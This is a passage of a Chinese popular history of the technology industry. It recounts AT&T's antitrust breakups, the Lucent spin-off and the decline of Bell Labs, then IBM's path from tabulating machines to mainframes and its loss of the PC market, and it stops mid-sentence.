公司从电信业获得了巨大的垄断利润，它拿出了产值的百分之三用于贝尔实验室的研发工作。（在很长时间里，贝尔实验室的人总是用不需为经费发愁这一条理由来吸引优秀的科学家到该实验室工作）这使得贝尔实验室不仅在通信领域长期执牛耳，而且在射电天文学、晶体管和半导体、计算机科学等领域领先于世界。它著名的发明除电话本身外，还包括射电天文望远镜、晶体管、电子交换机、计算机的 Unix 操作系统和 C 语言等等。此外，贝尔实验室还发现了电子的波动性，发明了信息论，发射了第一颗通信卫星，铺设了第一条商用光纤。在相当长的时间内，贝尔实验室不仅仅是信息领域科学家的首选工作单位，也是基础研究领域学者趋之若鹜的地方。那个时代进入贝尔实验室的人是很幸运的。如果是个人物，他可以成为业界的领袖，甚至得到诺贝尔奖、香农奖或者图灵奖。即使是一般的研究员和工程师，也会有很好的收入、可靠的退休保障以及受人尊重的社会地位。\nATT 在很长时间内垄断美国并且（通过北电）控制加拿大的电话业务。一九八四年，根据联邦反垄断法的要求，ATT 的市话业务被分出去，根据地区划分成七个小的贝尔公司。七家小贝尔公司从事市话业务，而 ATT 公司从事长途电话业务和通信设备的制造。贝尔实验室划给了 ATT，从贝尔实验室分出一部分，称为贝尔核心 (Bell Core)，划给七家小贝尔公司。不久，贝尔核心因为七个和尚无水喝，很快就推出了历史舞台，这当然是后话了。\n现在，大多数人认为，这是 ATT 走向衰落的开始。但我认为，ATT 并没有因此而伤筋动骨。事实上，在接下来的十年里，ATT 的业务得到长足的发展。虽然丢掉了市话服务，但是，它作为一个通信设备供应商，依然是市话通信设备几乎唯一的供货商。而且，虽然有 MCI 和 Sprint 两个长途电话竞争者，ATT 仍然控制着美国大部分市场，利润十分可观，足以维持贝尔实验室高额的研发费用，使得 ATT 在通信和半导体技术上仍然领先于世界。到一九九四年，它的营业额达到近七百亿美元，大致等同于今天它和 SBC 合并后的总营业额。\n这一年，贝尔实验室的总裁梅毅强 (John Mayer) 博士率大规模的代表团访华，国家主席江泽民亲自接见了他，足以说明对 ATT 的重视。中国国家主席接见一个公司下属机构的总裁，这次可能是空全绝后的。ATT 当时可以说风光到了顶点。\n既然一九八四年那次分家并没有使 ATT 公司伤筋动骨，那么又是什么原因造成了它的衰落呢？\n敬请期待第二节《几度繁荣》、第三节《利令智昏》和第四节《外来冲击》\n1.2 几度繁荣\n一九九五年，可以说是 ATT 公司的顶峰，接下来短短的十年，它便分崩离析，不复存在了。ATT 不紧不慢地向上走过了百年，才爬到顶点，走下坡路却只要十年时间。（注：今天的 ATT 是由当年小贝尔公司之一的西南贝尔公司几次以小吃大合并出的类似于水电公司的设施服务公司，这类公司在美国统统称为 utility 公司，毫无技术可言。）其实，从一九九五年起的这十来年间，ATT 本来有两次绝佳的发展机遇，2000 年前后的网络革命，和从九十年代中期延续至今的无线通信的飞跃。ATT 不仅没有利用好机会，反而在这两场变革中丢了性命。\nATT 一百年来发展得很健康。虽然一百年来它一直受反垄断法的约束。但是，美国政府司法部并没有真正要过它的命，每一次反垄断其实是帮助 ATT 修枝剪叶然后让它发展得更好。我们今天谈论作为美国仅有的两个被反垄断法拆分的公司之一的 ATT 公司时，不能不看看 ATT 的垄断地位是怎样形成的。（注:另一个被拆分的公司是美孚石油。）在 ATT 成立时，它的电话技术受专利保护，因此，它前十几年的发展一帆风顺。但是，早在 1895 年，它的专利技术就无效了。一夜之间，美国冒出了六千多家电话公司。我们以后还会提到，上个世纪初，美国还曾经有无数的汽车公司。十年内，美国的电话装机数量从两百万户增加到三千万户。这时，ATT 通过领先的技术和成功的商业收购，很快扫平了所有的竞争对手。到上个世纪初，ATT 几乎垄断了美国的电信业，并且在海外有很多的业务。1916 年，ATT 成为道琼斯 20 种工业指数中的一家公司。（注 1：道琼斯工业指数早期包括 20 家上市公司，后来扩大到三十家。这三十家公司是美国支柱产业的大公司。因此道琼斯又成为蓝筹股— blue chips，因为蓝色的筹码是赌局中面值最大的筹码。注 2：ATT 一直在道琼斯指数中，直到前几年被 SBC 代替。2005 年 SBC 并购了 ATT 公司后，继承了 ATT 的名称。但是这个 ATT 不是以前的ATT）今天，这 20 家公司只有通用电气还在道琼斯指数中。\n但是 ATT 的麻烦也伴随着公司的发展而来，美国政府司法部盯上了它。1913 年，根据司法部的金斯堡（Kingsburg）协议，ATT 不得不收敛一下它的扩张。1925 年，它甚至将除加拿大以外电信业务分离，专注于美国市场。这次收缩歪打正着，使它成功地在 1929-1933 年的大萧条中存活下来。可以想象，如果当初 ATT 的摊子铺得太大，躲过经济危机的可能性会小得多。事实上，很多道琼斯工业指数中的公司都没有逃过那次经济危机。大萧条后，ATT 公司恢复得很快，二战后，美国的电话普及率达到百分之五十。贝尔实验室也是成果倍出。最值得一提的是，在二战中，贝尔实验室的天才青年科学家香农提出的信息论。信息论是整个现代通信的基础。到五十年代，ATT 发展到美国政府司法部不得不管一管的地步了。1956 年，ATT 和司法部达成协议，再次限制了一下自己的行为。反垄断法逼着 ATT 靠科技进步来提升自己的实力。因此，ATT 巩固了自己在技术上的领先地位。1948 年，ATT 实现商用的微波通信，1962 年，它发射了第一颗商用通信卫星。尽管有些小的竞争者存在，它们无法撼动 ATT 的根基。\n在很长的时间里，美国国际长途电话的价钱不是由市场决定的，而是由 ATT 和美国联邦通信委员会（FCC）谈判决定的，定价是三美元一分钟。ATT 计算价钱的方法听起来很合理——铺设光缆和电缆需要多少钱，购买设备需要多少钱，研发需要多少钱，雇接线员需要多少钱等等，所以只有一分钟三美元才能不亏损。但是事实上，到 2002 年，当国际长途电话费降到平均一分钟只有三十美分时，ATT 仍然有 1/3 的毛利润。\n到了八十年代，美国司法部不得不再次对 ATT 公司提起反垄断诉讼。这次，美国政府终于打赢了旷日持久的官司，这才导致了 ATT 1984 年的第一次分家。这次反垄断的官司，不过是替 ATT 这棵大树剪剪枝。剪完枝后，ATT 公司反而发展得更健康。十年后，ATT 又如日中天了。当时，ATT 不仅在传统的电话业务上，而且在兴起的网络和移动通信方面，都处于世界领先地位。\n1.3 利令智昏\n排除了反垄断对 ATT 衰落的原因，我们就得从其他地方找原因。\n一九九五年，ATT 走到了一个分水岭。从一九九四年起，美国经济全面复苏，从下面斯坦普 500 指数走向图中可以看出，美国股市从 1995 年起开始暴涨，直到两千年底。\n图1-2 ATT斯坦普500指数走向这时，ATT 设备制造部门的执行官们短视地提出分家的建议。他们的理由似乎有道理，因为 ATT 和另外两家长途电话公司 MCI 和 Sprint 是竞争关系，后者拒绝购买 ATT 的电话设备，如果成立一家独立的设备公司，就可以做 MCI 和 Sprint 的生意了。但是这种一次性的销售增长显然对一个公司长期增长意思不大。这一点 ATT 无数的管理者和员工都看到了。我亲身经历了 ATT 的那次分家。1996 年夏天，贝尔实验室一分为二，大家从茉莉山的大楼里搬到弗伦翰工业园，天天谈的就是分家的事。很多人觉得，设备部门为了 MCI 和 Sprint 的市场，离开收入和利润都很稳定的 ATT 可能得不偿失。几年后他们的预言不幸言中。但是在当时，即使 ATT 的高管意识到这一点，他们对公司也没有绝对的控制。ATT 几个执行官们手上的股票远不如华尔街投资银行控制的多。说句不好听的，ATT 的总裁们并不真正拥有公司。他们之中不乏有远见者，但是根本左右不了董事会。更何况公司的长期利益和他们没有太大关系。如果能在任期内狠狠捞一把，何乐而不为呢？作为华尔街的投资公司，他们关心的是手中的股票何时能翻番。一九九五年正是一个机会，整个股市长势很好，在这时将设备制造部门和电信服务部门分开，那么前者的股票一定会飞涨。华尔街看到了这一点，公司的老总们懂得这一点，公司大量拥有股权的员工们也明白这一点。本来大家都是明白人，但是利令智昏。一场杀鸡取卵的分家就开始了。\nATT 将分为三个部分，从事电信业务的 ATT，从事设备制造业务的朗讯 Lucent 和从事计算机业务的NCR。NCR 较小，我们姑且不必提它。朗讯从 ATT 中分离，绝对是世界电信史上第一件大事。一九九六年二月朗讯公司由华尔街最有名的投资银行摩根斯坦利（Morgan Stanley）领衔上市，筹集现金三十亿美元，成为当时历史上最大的上市行动，也是迄今为止第十一大上市活动。朗讯上市时，市值达一百八十亿元。\n和预期的一样，MCI 和 Sprint 果然来买朗讯的设备了。朗讯的销售额比原来作为 ATT 一部分时有了明显的增长。不久，股价就翻番暴涨，而同期 ATT 公司的股票还按着原来不快的速度慢慢地爬，这正应了华尔街和大家的预想。华尔街的人大发了，朗讯的高官们中发乐，有股权的员工小发了。1999 年，我在一个会议上见到不少贝尔实验室的科学家，谈到股票时，他们一个个意气分发，人人都洋溢着笑容。在 2000 年的股市泡沫破灭以前，朗讯的股票四年长了十三倍，市值达两千四百四十亿美元。\n但是，这些科学家们也隐隐地感到一些危机。原来的贝尔实验室因为有 ATT 这个大靠山，从来不发愁自己的经费。现在，朗讯的利润不足以养活有两万人的巨型实验室，开始要求那里的科学家和工程师开发能尽快赚钱的研究上来。（我在以后会谈到ATT这种大实验室的弊端）贝尔实验室此时已不是过去以研究为主的地方了，它的创新能力不复存在，从一九九五年至今，贝尔实验室没有再搞出轰动世界的发明。本来，ATT 的电信服务和设备制造相辅相成，是个双赢的组合。分家对双方长远的发展都没有好处。ATT 和朗讯的衰落都从这时起。\n从 MCI 和 Sprint 带来的销售额增长几乎是一次性的。华尔街在预测朗讯盈利时，已经把这笔收入计算进去了。朗讯的股票要继续增长，它的销售额和利润就必须不断超过华尔街的预期。（注：一般来讲，一个公司当前的股价，已经反映了当前和几年后的盈利能力。如果想让股价快速增长，公司的盈利就必须高于大家的预期）朗讯其实根本做不到这一点。为了能支撑得住一个高股价，朗讯走了一步后来被证明是败笔的险棋。在互联网泡沫时代，有无数的中小公司在兴起、大公司在膨胀，朗讯决定“促销”它的电信设备。具体做法是由朗讯借钱给各公司来买朗讯的设备。只要设备运出朗讯，它就在每季度财务报表中，计入销售额。如果仔细读它的财报，人们可以发现朗讯总有一笔很大的\"应收款项\"，这笔钱其实从未进到朗讯公司。到了两千年互联网泡沫破裂后，借钱买设备的公司统统倒闭，朗讯的这笔\"应收款项\"一下子变成了净亏损。2001 年，朗讯公司不得不关闭贝尔实验室的几乎全部研究部门。只是象征性的留下了一两个实验室，以保住贝尔实验室这块招牌。这次裁员，使得世界上很多一流的科学家失业。朗讯由苟延残喘了几年终于被法国的阿尔卡特并购。并购时的市值还不到 1996 年上市时的水平，只有它自己峰值时的二十分之一。今天，贝尔实验室的牌子还在，只是联系地址已经到了法国。\nATT 的景观比朗讯略好些。它有相对稳定的利润很高的长途电话收入以及发展得很快的移动通信业务，因此在分家的前几年继续支撑并且扩大了它的实验室。因为没有抢到贝尔实验室这个牌子，ATT 以信息论发明人香农的名字命名了它的实验室。这时互联网的崛起和无线通信的普及对 ATT 的核心业务开始形成威胁。但是，ATT 在这两方面以及快速发展的宽带电视业务上都很强。本来，ATT 最有资格成为这些新领域的老大，就像它成功地从有线通信扩展到微波通信一样。但是短视彻底毁了它。\n在两千年前后，短线投资者发现最快的挣钱方法不是把一个企业搞好，而是炒作和包装上市。将公司的一部分拆了卖无疑挣钱最快。于是 ATT 决定一拆四，分成长途电话，移动电话，企业服务和宽带四个公司。其中最大的手笔是将移动部门单独上市。一九九九年五月，ATT 移动（ATT wireless）在华尔街最好的投资公司高盛（Goldman Sachs）的帮助下挂牌上市，募集到现金一百亿美元。这是人类历史上迄今最大的上市行动。当时 ATT 的董事和执行官们给出了一些冠冕堂皇的理由拆分后对发展如何有利，但其实，用 ATT 实验室的一位主管的话说，原因只有一个字—贪婪（greedy）。ATT 在一次性得到一笔横财时，也失去了立足于电信业的竞争能力，因为它所剩的只有一个收入不断下滑的传统长途电话业务。同时，香农实验室萎缩到 1996 年成立时的规模。2001 年发生的 9.11 恐怖袭击，ATT 在纽约的很多设备被毁，而它几乎拿不出修复设备的钱。半年后，ATT 的香农实验室也几乎解散了。在 ATT 实验室解散前，它的主管拉里?拉宾纳（Larry Rabinar）博士已经预感到情况不妙了，他很有人情味地为他的老部下们安排了出路，然后自己退离了香农实验室第一把手的岗位。身为美国工程院院士的拉宾纳，无论是学术水平还是管理水平，在世界上都是首屈一指，但是他根本无力扭转 ATT 实验室的困境。这也许是命运。\n1.4 外来冲击\n如果说终结 ATT 帝国的内因是华尔街和 ATT 自己的贪婪和短视，那么互联网的兴起从外界彻底击垮了这个帝国。在互联网兴起以前，固定电话几乎是人类唯一的交互通信手段，因此，只要在这个产业中占领一席之地，即使不做任何事，也可以由着它的波浪推着前进。ATT一百年来就是这样。它不紧不慢地发展着，还有很多失败的投资，但这些丝毫伤害不到它。也不能阻止它一次又一次的形成垄断。\n互联网兴起后，情况就不同了。当人们有一个不要钱的实时通信方式后，就无人为一分钟三美元的国际长途买单了。以前，人们查找任何商业信息都离不开电话本。现在有了互联网，人们更多地从网上查找信息。为了促销，所有的长途电话公司不得不通过降价来维持生意。我十几年前到美国时，从美国到中国的长途电话费是一美元一分钟，现在电话卡打国际长途只有两美分一分钟。\n随着互联网崛起的是移动电话业务。本来，ATT 在此领域是领先的，借着移动电话业务，它可以在当今的通信业一拼。（谷歌不少优秀的科学家和工程师都来自于 ATT，包括 Unix 操作系统和 C 语言的发明人汤普生——Ken Thompson）但是，当 ATT 自断左右臂后，一切都变得不可能了。\n互联网对朗讯的冲击也是同样的。在互联网时代，世界上对数据交换设备的需求渐渐超过对语音交换设备的需求。前者是新兴公司思科（Cisco）的长项，而后者才是朗讯的强项。思科战胜朗讯，又成为一股不可阻挡的潮流。\n互联网的崛起，对原贝尔实验室研究的影响也是巨大的。比如，语音的自动识别，曾经被认为是人类最伟大的梦想之一，现在随着电话时代的过去变得不重要了。今天，世界上主要的语音识别公司只剩下 Nuance 一家，美国整个语音识别市场的规模一年不到五亿美元，相当于谷歌两个星期的收入。而同时，世界上对文字处理、图像处理技术的需求随着互联网的普及不断增加。\n在工业史上，一种新技术代替旧的技术是不以人的意志为转移的。人生最幸运之事就是发现和顺应这个潮流。投资大师巴菲特在谈到上个世纪初他父亲失败的投资时讲，那时有很多汽车公司，大家不知道投哪个好，但是有一点投资者应该看到，马车工业要完蛋了。巴菲特为他的父亲没有注意到这一点而感到遗憾。今天，互联网虽然还不能完全代替固定电话，但是前者已经大大挤压了后者的发展空间，因为它可以提供更灵活，更丰富，而且更便宜的通信手段。\n回顾 ATT 百年历史，几乎每个人都为这个百年老店的衰落而遗憾。它曾经是电话业的代名词，而它的贝尔实验室曾经是创新的代名词，现在这一切已成为历史。我和很多 ATT 的主管和科学家们聊过此事，大家普遍认为 ATT 的每一个大的决定，在当时的情况下都很难避免，即使知道它是错的。上个世纪 90 年代，ATT 已经不属于一个人，一个机构，没有人对它的十年百年后的发展着想。（我们以后还会多次看到，当一个公司没有人对它有控制时，它的长期发展就会有问题）从华尔街，到它的高管和员工，大都希望从它身上快快地捞一笔。以前，美国政府多次要求拆散 ATT 而做不到，但是从十年前起，它自行地把自己拆了卖。这样，它不但不能把握过去十年信息革命的机会，反而将自己葬送在互联网的浪潮中。\n下一章，我们将介绍蓝色巨人（IBM）\n第2章 蓝色巨人：IBM\n国际商用机器公司，即 IBM 公司和蓝色有不解之缘。因为它的徽标是蓝色的，人们常常把这个计算机界的领导者称为蓝色巨人。一九九七年，IBM 的超级计算机深蓝（Deep Blue）和有史以来最神奇的国际象棋世界冠军卡斯帕罗夫展开了六盘人机大战。半年前，IBM 的计算机侥幸地赢了卡斯帕罗夫一盘，但是被卡斯帕罗夫连扳了三盘。仅仅半年后，IBM 的深蓝计算机各方面性能都提高了一个数量级，\"棋艺\"也大大提高，而卡斯帕罗夫的棋艺不可能在半年里有明显提高。人机大战六盘，深蓝最终以 3.5 比 2.5 胜出，这是人类历史上计算机第一次在国际象棋六番棋中战胜人类的世界冠军。几百万棋迷通过互联网观看了比赛的实况，十几亿人收看了它的电视新闻。IBM 在全世界掀起了一阵蓝色旋风。\nIBM 公司可能是世界上为数不多的成功地逃过历次经济危机，并且在历次技术革命中成功转型的公司。在很多人的印象中，IBM 仅仅是一个大型计算机制造商，并且在微机和互联网越来越普及的今天，它已经过气了。其实 IBM并没有这么简单，它至今仍然是世界上最大的服务公司（consulting company），第二大软件公司，第二大数据库公司。IBM 有当今工业界最大的实验室 IBM Research（虽然其规模只有贝尔实验室全盛时期的十分之一），是世界上第一专利申请大户（以后我们还要讲 IBM 对专利的态度），它还是世界上最大的开源（Open Source ）的 Linux 服务器生产厂商。\nIBM 能成为科技界的常青树，要归功于它的二字秘诀——保守。毫无疑问，保守使得 IBM 失去了无数发展机会，但是也让它能专注于最重要的事，并因此而立于不败之地。\n2.1 赶上机械革命的最后一次浪潮\n机械革命从三百年前开始到第二次世界大战结束，一般认为其高峰是十九世纪末期。当时很多人认为机械可以代替一切，就如同今天不少人认为计算机可以代替一切一样。IBM 就是在那个背景下成立的。 IBM 成立于 1924 年，由老托马斯华生（Thomas J. Watson）创建。但是， IBM 和外界一般都把它的历史向前推进三十年到十九世纪末。在那时，还没有任何电子计算设备，但是经济生活中确有大量的报表处理和科学计算的需要。因此，美国一个叫霍勒里斯（Hollerith)）的统计学家就发明了机械的自动制表机。那是一种大小和形状都很像立式钢琴的机器。（见附图）霍勒里斯成立了一个自动制表机的公司，并为美国国家统计局服务，使得统计工作的效力大大提高。上个世纪初，几个做办公仪器诸如计算尺、打表机等等的公司合并成一家大公司。老托马斯 .华生则成为了合并后的公司的总裁。十年后，他将该公司正式改组成立了IBM。\n 图2-1机械的自动制表机\n华生父子对 IBM 的影响是巨大的。一个公司创始者的灵魂常常会永久地留在这个公司，即使他们已经离去。我们在以后介绍苹果公司和其它公司时，还会看到这一点。早期的 IBM，产品主要是一些用于管理的机械诸如打孔机，制表机等等，服务对象是政府部门和公司。IBM 从那时起，就锁定了政府部门和企事业单位为它的主要客户，直到今天。很多人奇怪为什么第一个开发出主流 PC（即以英特尔处理器和微软操作系统为核心的 PC）的 IBM 没有成为 PC 之王。实际上，它的基因决定了它不可能领导以个人用户为核心的 PC 产业。以后我们还会仔细地分析这一点。\nIBM 成立后不久就遇到了资本主义历史上最大的经济危机——1929 年到 1933 年的大萧条。在很多公司关门，客户大量减少的情况下，IBM 能存活下来，可以说是个奇迹。华生的经营和管理才能在这段时间起了关键的作用。当 IBM 逃过一劫后，它接下来的路在长时间内很平坦。随着经济的恢复，办公机械的市场开始复苏。尤其是罗斯福的新政，雇用的大量的政府工作人员。政府对制表机的需求大大增加。除了正常的生意， IBM 还将它的打孔机，制表机等等设备大量地卖给了德国纳粹政府。IBM 从没有回避这段不光彩的历史。\n但是，二战前后毕竟只剩下了是机械时代的余辉。IBM 光靠卖办公机器很难有持续的发展，因此它未雨绸缪，也在找出路。正巧赶上了二次大战，以制造精密机械见长的 IBM 马上把它的生产线民用转军用，制造出著名的勃郎宁自动步枪和 M1 冲锋枪（见附图）。这些是美军二战时的主力武器（见附图）。随着战争的发展，有大量的军事数据需要处理。IBM 的制表机大量地卖给了美国军方。IBM 也从此和美国军方建立了良好的关系。IBM 为军方研制了世界上第一台继电器式的计算机。注意，它和真正的电子计算机有很大的不同。此外， IBM 还间接地参与了研制原子弹的曼哈顿计划。\n图2-2勃郎宁自动步枪和M1冲锋枪 图2-3美军二战时的主力武器\n二战后，整个世界都在重建之中，对所有工业品的需求都在增加。尤其是杜鲁门总统完成了美国的社会保障制度后，有大量的统计工作需要制表机等机械。这一切都对 IBM 的核心业务给予了强有力的支持。 IBM 很轻易地再将军用生产线转民用。但是，如果 IBM 仅仅满足于卖机械，我们今天可能就听不到它的名字了。\n我们可以将第二次世界大战作为机械时代和电子时代的分水岭。二战后，IBM 显然面临着两种选择，是继续发展它的电动机械制表机，还是发展新兴的电子工业。在 IBM 里，这两派争执不下，而代表人物恰恰是华生父子。老华生认为电子的东西不可靠，世界上至今还有不少人持老华生的观点。而小华生则坚持电子工业是今后的发展趋势。这场争论终于以小华生的胜利而告终。1952 年，小华生成为 IBM 的新总裁。IBM 从此开始领导电子技术革命的浪潮。\n敬请期待第二节《领导电子技术革命的浪潮》第三节《错过全球信息化的大潮》第四节《他也是做（芯）片的》第五节《保守的创新者》和第六节《内部的优胜略汰》\n2.2 领导电子技术革命的浪潮\n如果说 IBM 在上一次的机械革命中不过是一个幸运的追随者，它在从二战结束开始的电子技术革命中完全是一位领导者。电子计算机和 IBM 的名字是分不开的，就如同电话和 ATT 分不开一样。一方面，IBM 因为有了计算机得以持续发展了半个世纪，另一方面，计算机因为有 IBM 的推广，才从科学计算应用到商业领域和人们的日常生活。\n在我们谈论 IBM 和计算机关系时，让我们先来回顾一下电子计算机发明的背景和过程。\n有一位先哲说过，社会的需求对科技进步的作用要超过十所大学。计算机就是在这个背景下被发明的。美国研制计算机的直接目的是在第二次世界大战时为军方计算弹道的轨迹。在流体力学中，计算量常常大到手工的计算尺无法计算的地步，因此，对通用计算机的需求就产生了。在计算机的研制过程中有无数的科学家和工程师作出了卓越的贡献，但是最主要的三个人应当是冯·诺伊曼（Von Neumann，看过美国电影《美丽人生》，和中国电视剧《暗算》的人应该对他有印象）——见附图、毛奇莱（John Mouchly）和艾科特（Presper Eckert），应该讲冯·诺伊曼是今天运行程序的电子计算机系统结构（architechture）的主要提出者，这个被称为冯·诺伊曼的系统结构影响至今。毛奇莱和艾科特是世界上第一台电子计算机埃尼亚克（ENIAC）研制的总负责人（很遗憾，它其实并不是今天计算机的祖先，因为它不能加载程序，指令要重复地输入进去）在研制世界上第一台现代计算机 EDVAC 的设计方案时，他们三个人共同参与了，最后由冯· 诺伊曼起草并交给了军方，军方的负责人拿到方案后随手在上面写上了冯·诺伊曼的名字，从此毛奇莱和艾科特的贡献就被淡忘了。后来，毛奇莱和艾科特认为计算机的产权应该属于他们自己而不是他们所在的单位宾西法尼亚大学。两个人和大学闹翻了，出来成立了世界上第一个计算机公司——艾科特－毛奇莱公司。该公司研制出一种叫 UNIVAC 的计算机，提供给美国统计局和军方用。但是因为艾科特和毛奇莱都是不会经营的学者，很快他们的公司就赔钱关门了。\n 图2-4冯·诺伊曼\nIBM 的小华生看到了计算机在今后社会中将扮演一个非常重要的角色，他决定投资发展计算机，并请来冯· 诺伊曼做顾问。IBM 还请来了很多工程师，并且把麻省理工学院作为它强大的技术支持。小华生将 IBM 的研发经费从他父亲时代的 3% 增加到 9%。到六十年代，IBM 生产出著名的 IBM360 为止，IBM 在计算机研制和生产上的总投入高达 50 亿美元，相当于整个马歇尔计划的三分之一。小华生上台后短短五年，就将 IBM 的营业额提高了三倍。在小华生执掌 IBM 的二十年里，IBM 的平均年增长率高达 30%，这在世界上可能是绝无仅有的，他的父亲也没有做到这一点。\n在我个人看来，小华生对世界最大的贡献不是将 IBM 变成一个非常成功的公司，而是将计算机从政府部门和军方推广到民间，将它的功能由科学计算变成商用。这两条使得计算机得以在公司、学校和各种组织机构中普及起来。十几年前，当计算机在中国还不很普及时，如果做一次民意调查计算机是干什么的？我想，八九成的被调查者都会认为计算机是用于科学计算的。而实际上，世界上并没有那么多的题目需要计算。如果将计算机局限于科学计算，它就不会像今天这样普及。当然，今天我们知道计算机可以单纯用于存储信息、处理表格和文字、编辑和打印文章。但是在五十年前，能够看到这一点是非常了不起的。小华生看到了这一点，这一方面是他天才的地方，另一方面是 IBM 长期制造表格处理机械的公司，了解这方面的需求。\nIBM 从它开始做计算机起，基本上遵循性能优先与价格和集中式服务的原则。高性能的，服务于多用户的主机一直是 IBM 硬件制造的重点，直到近十年来才略有转变。 IBM 的许多大型机，成为了计算机系统结构设计的经典之作，而且生命期特别长，有点像波音公司的客机。其中最著名的有六十年代的 IBM360/370 系列和七八十年代的 IBM4300 系列。当时的售价都在百万美元以上，而性能还不如现在一台个人电脑。但是，这些计算机的设计思想，仍然是计算机设计者的必修内容。\n由于计算机五十年前的造价高得惊人，除了政府部门和军方，只有大的银行和跨国公司才用得起。银行里有大量的简单的计算，主要是账目上的加加减减，不需要复杂的函数功能，比如三角函数、指数对数函数等等。因此，就需要有一种专门处理大量数据简单运算的程序语言。六七十年代的主流高级程序语言 COBOL 就在这个背景下诞生了。COBOL 的全名为面向商业的通用语言（Common Business Oriented Language）顾名思义，它是针对商业数据处理的程序语言。虽然 COBOL 不是由 IBM 制定的，但是，IBM 对它的影响是巨大的，因为制定它的六人委员会中，有两个是 IBM 的人。COBOL 语言在上个世纪六七十年代，是世界上最流行的程序语言，但是会写 COBOL 程序的人很少，因此他们的收入远比今天的软件工程师要高得多。这在某种程度上鼓励了年轻人进入计算机软件的领域。IBM 的研究水平很高，还参与了很多标准的制定，因此，它在商业竞争中，同时扮演着运动员和裁判员的双重角色。从五十年代到八十年代初，IBM 在计算机领域基本上是独孤求败。\n在计算机发展史的前三十年里，IBM 在商业上只有一个轻量级的竞争对手——数字设备公司（DEC）。由于 IBM 的大型机实在太贵，中小公司和学校根本用不起，市场上就有了对相对廉价低性能小型计算机的需求，DEC 公司应运而生。在很长时间里，虽然两个公司在竞争，但是基本上井水不犯河水，因为计算机市场远没有饱和，完全可以容纳两个竞争者。在这三十年里，两个公司发展的如鱼得水。基本上可以说是 IBM 领导着浪潮，DEC 跟上步伐。\nIBM 如果说还有什么对手的话，那就是美国政府司法部。在美国从来没有过国王，美国人也不允许在一个商业领域出现一个国王。当垄断产生以后，司法部就会出面以反垄断的名义起诉那个垄断公司。从七十年代初到八十年代初，美国司法部和 IBM 打了十年的反垄断官司，两家最终于 1982 年和解。一般认为，这是 IBM 的胜利。但是，IBM 也为此付出了很大的代价。我认为主要有两方面，第一，IBM 分出了一部分服务部门，让它们成为独立的公司；第二，IBM 必须公开一些技术，从而导致了后来无数 IBM-PC 兼容机公司的出现。\n应该讲，IBM 在第二次世界大战后，成功地领导了计算机技术的革命。它使得计算机从政府走向社会，从单纯的科学计算走向商业。它顺应着计算机革命的大潮一漂就是三十年。由于有高额的垄断利润，IBM 给员工的薪水、福利和退休金都很丰厚。在二战后很长时间里，它是人们找工作是最向往的公司之一。它甚至有从不裁员的神话，直到上世纪八九十年代它陷入困境时才不得不第一次裁员。\n2.3 错过全球信息化的大潮\n如果要把计算机工业的历史划分阶段的话，那么，1976 年可以作为一个分水岭。这一年，没有读完大学的天才史蒂夫·乔布斯（Steve Jobs）在车库里整出了世界上第一台可以商业化的个人电脑 Apple-I。在硅谷很多公司才创业时因为资金有限，常常租用租金便宜的民房甚至是它们的车库来办公，这几乎是硅谷特有的现象，苹果起家时也不例外。 \"蓝色巨人\"在这次信息革命浪潮中步子开始并不慢。1973 年从小华生接手 IBM 的新总裁凯利（Frank Cary）在花了大量时间去应付美国司法部提出的反垄断诉讼的同时，密切注视着新技术的发展。对于个人电脑，IBM 观望了几年。这对 IBM 这样一个大公司来讲是非常有必要的。我们前面讲过，IBM 成功的秘诀是保守，它基本上是不见兔子不撒鹰。如果苹果公司失败了， IBM 不需要做任何事情。如果前者成功了，IBM 依靠它强大的技术储备完全可以后发制人。我们在前面已经提到，IBM 其实时第二家做计算机的公司。我们以后还会看到很多大公司用这种办法对付小公司的例子。四年后，凯利决定开发个人电脑。\n也许是不想惹人注意，也许是没有太重视这件事，IBM 没有让它力量最强的华生实验室（T.J Watson Labs）来做这件事，而是将它交给了 IBM 在弗罗里达的一个十几人的小组。为了最快地研制出一台 PC ，这个只有十几人的小组不得不打破以前自己开发计算机全部软硬件的习惯，采用了英特尔公司 8088 芯片作为该电脑的处理器，同时委托独立软件公司为它配置各种软件。这样，仅一年时间，IBM-PC 就问世了。虽然第一批 IBM-PC 的性能只有现在个人电脑的万分之一，但是，它比苹果公司的 Apple 系列已经好很多了，而且对当时的字处理，编程等应用已经足够了。因此，它很受欢迎，当年就卖掉 10 万台，占领了四分之三的微机市场。IBM 在和苹果的竞争中真可谓是后发先至。直到今天， IBM PC 还是个人电脑的代名词。\n如果当时问大家以后谁会是个人电脑时代的领导者，十有八九的人会回答 IBM。事实上，当时《时代周刊》就评选 IBM PC 为二十世纪最伟大的产品。《华尔街日报》也高度评价了 IBM 的这一贡献。但是，现在我们知道，个人电脑时代的最终领导者是微软和英特尔，而不是 IBM。随着 2005 年 IBM 将个人电脑部门卖给了中国的联想公司，IBM 彻底退出了个人电脑的舞台。\n是什么原因造成了 IBM 的这个结果呢？虽然原因很多，但最主要的有三个：IBM 的基因，反垄断的后遗症以及微软的崛起。\n先谈谈 IBM 的基因。IBM 无论是在老华生执掌的机械时代，还是在小华生接管的电子时代，它的客户群基本上是政府部门、军方、银行、大企业和科研院校，它从来没有过经营终端消费型产品（consumer products）的经验，也看不上这类产品。以往，IBM 卖计算机的方式是和大客户签大合同。八十年代的计算机，除非是专业人员，没有人玩得转。因此， IBM 从来将计算机和服务绑在一起卖，至今也是如此。IBM 一旦签下一个大型机销售的合同，不但可以直接进帐上百万美元，而且每年还可以收销售价 10% 左右的服务费。等客户需要更新计算机时，十有八九还得向 IBM 购买。这样，它每谈下一个合同，就可以坐地收钱了。因此，虽然I BM PC 在外面的反应很好，在公司内部反应却冷淡。 IBM PC 第一年的营业额大约是两亿美元，只相当于 IBM 当时营业额的 1% 左右，而利润还不如谈下一个大合同。要知道，卖掉十万台 PC 可比谈一个大型机合同费劲儿多了。因此，IBM 不可能把 PC 事业上升到公司的战略高度来考虑。\n1982 年，IBM 和美国司法部在反垄断官司中达成和解。和解的一个条件是，IBM 得允许竞争对手的发展。如果不是 PC机的出现，这个条件对 IBM 没有什么实质作用，因为过去一个公司要向开发计算机，必须是硬件、软件和服务一起做，这个门槛是很高的。但是，有了 PC 以后，情况就不同了。因为 IBM PC 的主要部件，如处理器芯片、磁盘驱动器、显示器和键盘等等，或者本身是第三家公司提供的、或者很容易制造，而它的操作系统 DOS 又是微软的。因此，IBM PC 很容易仿制。IBM PC 唯一一个操作系统的内核 BIOS 是自己的，但是很容易地就被破解了。在短短地几年间， IBM PC 的兼容机入雨后春笋般地冒了出来。如果不是反垄断的限制，IBM 